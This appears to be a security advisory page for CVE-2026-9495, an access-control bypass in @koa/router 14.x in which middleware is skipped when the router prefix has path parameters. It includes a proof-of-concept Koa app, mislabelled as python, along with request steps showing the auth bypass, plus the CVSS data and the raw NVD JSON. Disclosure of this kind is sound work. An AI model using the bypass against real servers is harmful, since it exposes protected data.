Security Vulnerability Report
中文
CVE-2026-9495 CVSS 7.3 HIGH

CVE-2026-9495

Published: 2026-05-26 07:16:19
Last Modified: 2026-05-26 07:16:19

Description

Versions of the package @koa/router from 14.0.0 and before 15.0.0 are vulnerable to Access Control Bypass due to the middleware being silently dropped from the execution chain when the router prefix contains path parameters. Depending on what the skipped middleware was supposed to protect, an attacker could bypass authentication and authorization, evade rate limiting or bypass input sanitization.

CVSS Details

CVSS Score
7.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

@koa/router >= 14.0.0, < 15.0.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
const Koa = require('koa'); const Router = require('@koa/router'); const app = new Koa(); // Vulnerable version: @koa/router >= 14.0.0, < 15.0.0 const secureRouter = new Router({ prefix: '/api/:version' }); // Middleware intended to protect routes (e.g. Auth) secureRouter.use(async (ctx, next) => { console.log('Checking authentication...'); // In a real app, this would verify a token // If verification fails, it should block access here. await next(); }); secureRouter.get('/admin/data', (ctx) => { ctx.body = { secret: 'Sensitive Admin Data' }; }); app.use(secureRouter.routes()); app.listen(3000); // Exploit steps: // 1. Send a GET request to http://localhost:3000/api/v1/admin/data // 2. Observe that 'Checking authentication...' is NOT logged. // 3. The response returns 'Sensitive Admin Data' without passing through the auth middleware.

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-9495", "sourceIdentifier": "[email protected]", "published": "2026-05-26T07:16:19.243", "lastModified": "2026-05-26T07:16:19.243", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Versions of the package @koa/router from 14.0.0 and before 15.0.0 are vulnerable to Access Control Bypass due to the middleware being silently dropped from the execution chain when the router prefix contains path parameters. Depending on what the skipped middleware was supposed to protect, an attacker could bypass authentication and authorization, evade rate limiting or bypass input sanitization."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "references": [{"url": "https://github.com/koajs/router/commit/d53e17f284557b1f417946f9807ee52290c3c759", "source": "[email protected]"}, {"url": "https://github.com/koajs/router/issues/202", "source": "[email protected]"}, {"url": "https://github.com/koajs/router/pull/206", "source": "[email protected]"}, {"url": "https://security.snyk.io/vuln/SNYK-JS-KOAROUTER-12215044", "source": "[email protected]"}]}}